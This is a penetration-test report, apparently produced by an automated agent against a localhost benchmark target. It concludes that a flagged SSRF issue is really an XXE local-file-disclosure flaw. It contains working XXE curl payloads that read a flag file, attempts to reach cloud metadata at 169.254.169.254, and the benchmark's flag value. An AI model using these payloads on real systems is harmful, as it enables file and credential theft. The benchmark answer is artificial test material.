# SSRF Exploitation Evidence

## Executive Summary

**Engagement Status:** COMPLETE  
**Vulnerabilities Analyzed:** 1  
**Successfully Exploited:** 0 (SSRF-specific)  
**False Positives Identified:** 1  

**Key Finding:** The single vulnerability in the exploitation queue (SSRF-VULN-01) is **NOT** a Server-Side Request Forgery vulnerability. While it is a legitimate and critical XXE (XML External Entity) vulnerability enabling arbitrary local file disclosure, it does not allow network-based requests or network boundary bypass - the core requirement for SSRF classification.

**Impact:** The application is vulnerable to local file disclosure via XXE, but is protected against SSRF attacks through lxml's default `no_network=True` parameter which blocks HTTP, HTTPS, and FTP protocols.

---

## SSRF-VULN-01: XXE-based File Disclosure (FALSE POSITIVE - Not SSRF)

### Classification Decision

**VERDICT:** FALSE POSITIVE  
**Reason:** While this is a real XXE vulnerability, it does NOT qualify as SSRF because network-based requests are impossible.

### Summary

- **Vulnerable location:** POST `/soap_service` endpoint with XMLParser configuration at `app.py:164`
- **What was found:** XXE vulnerability with `resolve_entities=True` allowing `file://` protocol access
- **What was NOT found:** Ability to perform network-based requests (HTTP/HTTPS/FTP) 
- **Why it's not SSRF:** Cannot bypass network boundaries, cannot access cloud metadata, cannot reach internal HTTP services

### Analysis: Why This is Not SSRF

**SSRF Definition:**  
Server-Side Request Forgery (SSRF) is an attack where an attacker can abuse functionality on the server to access or manipulate internal resources by making the server perform requests to unintended locations. The key characteristic is using the server as a **proxy for network requests** to bypass network boundaries.

**This Vulnerability:**
- ✅ Allows reading local files within the Docker container (`file://` protocol works)
- ❌ Does NOT allow HTTP requests (blocked by lxml's `no_network=True`)
- ❌ Does NOT allow HTTPS requests (blocked by lxml's `no_network=True`)
- ❌ Does NOT allow FTP requests (blocked by lxml's `no_network=True`)
- ❌ Does NOT enable cloud metadata access (169.254.169.254 requires HTTP)
- ❌ Does NOT enable internal service scanning (requires HTTP/HTTPS)
- ❌ Does NOT bypass network boundaries

**Security Control That Blocks SSRF:**  
lxml's default `no_network=True` parameter (implicitly set when not explicitly disabled) blocks all network protocols. This is a security feature working as intended.

### Complete Exploitation Attempts

**Prerequisites:**
- Target: `http://localhost:39111`
- Authentication: Username `john`, Password `password123`
- Endpoint: POST `/soap_service` (requires valid session cookie)

#### Attempt 1: Local File Disclosure (SUCCESSFUL - but this is XXE/LFI, not SSRF)

**Objective:** Read `/app/flag.txt` to test basic XXE functionality

**Steps:**

1. Authenticate and obtain session cookie:
```bash
curl -X POST http://localhost:39111/login \
  -d "username=john&password=password123" \
  -c /tmp/ssrf_cookies.txt
```

**Result:** HTTP 302 redirect to `/dashboard` with session cookie set

2. Send XXE payload to read flag file:
```bash
curl -X POST http://localhost:39111/soap_service \
  -b /tmp/ssrf_cookies.txt \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///app/flag.txt">]>
<GetAccountInfoRequest>
  <account_id>&xxe;</account_id>
</GetAccountInfoRequest>'
```

**Response:**
```xml
<GetAccountInfoResponse>
    <account_id>FLAG{197ab91b89d9d6d8d25c0675bde52e082b7f03ba43d9aeebd9e55e390a10ec1d}</account_id>
    <balance>1000 USD</balance>
    <recent_transactions>Transaction1</recent_transactions>
    <recent_transactions>Transaction2</recent_transactions>
</GetAccountInfoResponse>
```

**Outcome:** ✅ File disclosure successful - flag retrieved  
**SSRF Impact:** ❌ None - this is local file access, not network boundary bypass

---

#### Attempt 2: AWS Cloud Metadata Access (FAILED - HTTP protocol blocked)

**Objective:** Attempt to access AWS EC2 instance metadata service to test network-based SSRF

**Steps:**

1. Send XXE payload targeting AWS metadata endpoint:
```bash
curl -X POST http://localhost:39111/soap_service \
  -b /tmp/ssrf_cookies.txt \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<GetAccountInfoRequest>
  <account_id>&xxe;</account_id>
</GetAccountInfoRequest>'
```

**Response:**
```xml
<GetAccountInfoResponse>
    <account_id>None</account_id>
    <balance>1000 USD</balance>
    <recent_transactions>Transaction1</recent_transactions>
    <recent_transactions>Transaction2</recent_transactions>
</GetAccountInfoResponse>
```

**Outcome:** ❌ HTTP protocol blocked - entity resolution failed  
**Evidence of blocking:** `<account_id>None</account_id>` indicates the entity was not resolved

---

#### Attempt 3: Internal HTTP Service Access (FAILED - HTTP protocol blocked)

**Objective:** Test access to localhost HTTP service to verify internal network scanning capability

**Steps:**

1. Send XXE payload targeting localhost HTTP:
```bash
curl -X POST http://localhost:39111/soap_service \
  -b /tmp/ssrf_cookies.txt \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://localhost:80/">]>
<GetAccountInfoRequest>
  <account_id>&xxe;</account_id>
</GetAccountInfoRequest>'
```

**Response:**
```xml
<GetAccountInfoResponse>
    <account_id>None</account_id>
    <balance>1000 USD</balance>
    <recent_transactions>Transaction1</recent_transactions>
    <recent_transactions>Transaction2</recent_transactions>
</GetAccountInfoResponse>
```

**Outcome:** ❌ HTTP protocol blocked - cannot access internal HTTP services  
**SSRF Impact:** None - internal network reconnaissance impossible

---

#### Attempt 4: External HTTPS Access (FAILED - HTTPS protocol blocked)

**Objective:** Test external HTTPS access to verify outbound request capability

**Steps:**

1. Send XXE payload targeting external HTTPS endpoint:
```bash
curl -X POST http://localhost:39111/soap_service \
  -b /tmp/ssrf_cookies.txt \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "https://www.google.com/">]>
<GetAccountInfoRequest>
  <account_id>&xxe;</account_id>
</GetAccountInfoRequest>'
```

**Response:**
```xml
<GetAccountInfoResponse>
    <account_id>None</account_id>
    <balance>1000 USD</balance>
    <recent_transactions>Transaction1</recent_transactions>
    <recent_transactions>Transaction2</recent_transactions>
</GetAccountInfoResponse>
```

**Outcome:** ❌ HTTPS protocol blocked - cannot make outbound HTTPS requests

---

#### Attempt 5: FTP Protocol Access (FAILED - FTP protocol blocked)

**Objective:** Test FTP protocol as alternative network access vector

**Steps:**

1. Send XXE payload with FTP URL:
```bash
curl -X POST http://localhost:39111/soap_service \
  -b /tmp/ssrf_cookies.txt \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "ftp://localhost/">]>
<GetAccountInfoRequest>
  <account_id>&xxe;</account_id>
</GetAccountInfoRequest>'
```

**Response:**
```xml
<GetAccountInfoResponse>
    <account_id>None</account_id>
    <balance>1000 USD</balance>
    <recent_transactions>Transaction1</recent_transactions>
    <recent_transactions>Transaction2</recent_transactions>
</GetAccountInfoResponse>
```

**Outcome:** ❌ FTP protocol blocked

---

### Technical Root Cause

**Vulnerable Configuration:**
```python
# app.py:164
parser = etree.XMLParser(resolve_entities=True)
```

**Security Control (Implicit Default):**
```python
# lxml default when no_network is not explicitly set
no_network=True  # Blocks http://, https://, ftp://, etc.
```

**Protocol Accessibility Matrix:**

| Protocol | Status | Evidence |
|----------|--------|----------|
| `file://` | ✅ ALLOWED | Successfully read `/app/flag.txt` |
| `http://` | ❌ BLOCKED | Returns `<account_id>None</account_id>` |
| `https://` | ❌ BLOCKED | Returns `<account_id>None</account_id>` |
| `ftp://` | ❌ BLOCKED | Returns `<account_id>None</account_id>` |

### Why This is a False Positive for SSRF

1. **Network Boundary Bypass - NOT POSSIBLE**
   - All network protocols (HTTP/HTTPS/FTP) are blocked
   - Cannot access internal services via HTTP
   - Cannot reach cloud metadata endpoints
   - Cannot perform port scanning of internal infrastructure

2. **Server as Network Proxy - NOT POSSIBLE**
   - Server cannot be used to proxy requests to other hosts
   - No mechanism to bypass firewall rules or network segmentation
   - Cannot reach resources outside the local filesystem

3. **What Actually Works**
   - ✅ Local file system access via `file://` protocol
   - ✅ Reading files within Docker container filesystem
   - ✅ Access to files readable by the Python process

4. **Correct Vulnerability Classification**
   - **What it IS:** XXE (XML External Entity) vulnerability enabling LFI (Local File Inclusion)
   - **What it is NOT:** SSRF (Server-Side Request Forgery)

### Blocking Mechanism Analysis

**Is this a security control designed to prevent SSRF?**  
✅ **YES** - lxml's `no_network=True` is an explicit security feature designed to prevent network-based XXE attacks.

**Did I attempt to bypass it?**  
✅ **YES** - Tested multiple protocols (HTTP, HTTPS, FTP) across different targets (cloud metadata, localhost, external sites)

**Were all bypass attempts unsuccessful?**  
✅ **YES** - All network protocols consistently blocked with identical failure signatures

**Conclusion:**  
The security control is functioning as designed. This is not a vulnerability that can be bypassed through alternative techniques, encoding, or creative payloads - the network protocols are fundamentally disabled at the XML parser level.

### Impact Assessment

**If this were SSRF (it's not):**
- Could access AWS/GCP/Azure metadata services
- Could scan internal network services  
- Could bypass firewall rules
- Could access internal APIs and databases

**Actual Impact (XXE/LFI only):**
- Can read local files: `/app/flag.txt`, `/etc/passwd`, source code, SSH keys
- Can read environment variables via `/proc/self/environ`
- Can perform DoS via billion laughs attack
- **Cannot** bypass network boundaries
- **Cannot** access cloud metadata
- **Cannot** perform internal network reconnaissance

### Recommendation

This vulnerability should be:
- ✅ Reported as a **CRITICAL XXE vulnerability** enabling arbitrary file disclosure
- ❌ NOT reported as an SSRF vulnerability
- ✅ Fixed by setting `resolve_entities=False` in the XML parser configuration

The SSRF analysis phase misclassified this vulnerability by focusing on the CWE-918 category without verifying actual network request capability.

---

## Conclusion

**SSRF Exploitation Mission Status:** COMPLETE

**Findings Summary:**
- **Total vulnerabilities analyzed:** 1
- **True SSRF vulnerabilities found:** 0
- **False positives identified:** 1 (SSRF-VULN-01)

**Key Insight:**  
The application is **NOT vulnerable to SSRF attacks** due to lxml's default `no_network=True` security control that blocks all network protocols. While a critical XXE/LFI vulnerability exists, it does not meet the definition of SSRF as it cannot bypass network boundaries or access network resources.

**No SSRF vulnerabilities exist in this application that are exploitable from the external network via http://localhost:39111.**

---

**Report completed by:** SSRF Exploitation Specialist  
**Date:** 2025-10-28  
**Target:** http://localhost:39111  
**Engagement:** XBEN-032-24